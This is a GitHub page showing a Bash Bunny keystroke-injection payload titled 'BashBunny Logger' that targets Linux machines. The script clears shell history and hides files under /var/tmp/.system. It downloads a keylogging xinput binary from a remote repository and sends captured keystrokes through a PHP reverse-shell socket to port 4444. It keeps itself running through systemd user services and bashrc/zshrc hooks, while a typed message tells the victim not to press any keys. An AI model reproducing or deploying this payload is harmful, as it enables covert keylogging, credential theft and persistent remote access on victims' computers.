forked from Genplat/bb-logger
-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
payload.txt
98 lines (84 loc) · 3.51 KB
/
payload.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/bin/bash
#
# Title: BashBunny Logger
#
# Description:
# Script By:
# -Genplat Dev 6-27
# Join: discord.gg/elite6-27
#
# Author: Genplat
# Version: 1.0
# Category: Execution
# Target: Linux
# Attackmodes: HID and STORAGE
#
# STATUS
# ===============
# Magenta solid ................................... SETUP
# Yellow single blink ............................. ATTACK
# Yellow double blink ............................. STAGE2
# Yellow triple blink ............................. STAGE3
# Yellow quadruple blink .......................... STAGE4
# White fast blink ................................ CLEANUP
# Green 1000ms VERYFAST blink followed by SOLID ... FINISH
######## INITIALIZATION ########
readonly BB_LABEL="Loading"
######## SETUP ########
LED SETUP
ATTACKMODE HID
GET SWITCH_POSITION
udisk mount
RUN UNITY terminator
Q DELAY 600
Q STRING # Proceso Rutinario Del Sistema. NO PULSE NINGUNA TECLA HASTA QUE TERMINE.
######## ATTACK ########
LED ATTACK
Q STRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE
Q ENTER
Q STRING mkdir /var/tmp/.system
Q ENTER
Q STRING echo "/var/tmp/.system/./xinput list | grep -Po 'id=\K\d+(?=.*slave\s*keyboard)' | xargs -P0 -n1 /var/tmp/.system/./xinput test" > /var/tmp/.system/sys
Q ENTER
Q STRING chmod +x /var/tmp/.system/sys
Q ENTER
Q STRING cd /var/tmp/.system/
Q ENTER
Q STRING wget --no-check-certificate --content-disposition https://github.com/drapl0n/DuckyLogger/blob/main/xinput\?raw=true
Q ENTER
Q STRING chmod +x xinput
Q ENTER
Q STRING echo -e "while :\ndo\n\tping -c 5 0.0.0.0\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"0.0.0.0\",4444);exec("\"/var/tmp/.system/sys -i "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus
Q ENTER
Q STRING chmod +x /var/tmp/.system/systemBus
Q ENTER
Q STRING mkdir -p ~/.config/systemd/user
Q ENTER
Q STRING echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/systemBUS.service
Q ENTER
Q STRING echo "while true; do systemctl --user restart systemBUS.service; sleep 15m; done" > /var/tmp/.system/reboot
Q ENTER
Q STRING chmod +x /var/tmp/.system/reboot
Q ENTER
Q STRING echo -e "[Unit]\nDescription= System BUS handler reboot.\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/reboot -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/reboot.service
Q ENTER
Q STRING systemctl --user daemon-reload
Q ENTER
Q STRING systemctl --user enable --now systemBUS.service
Q ENTER
Q STRING systemctl --user start --now systemBUS.service
Q ENTER
Q STRING systemctl --user enable --now reboot.service
Q ENTER
Q STRING systemctl --user start --now reboot.service
Q ENTER
Q STRING echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.bashrc\nfi" > ~/tmmmp
Q ENTER
Q STRING chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit
Q ENTER
######## CLEANUP ########
LED CLEANUP
sync
######## FINISH ########
LED FINISH
shutdown -h 0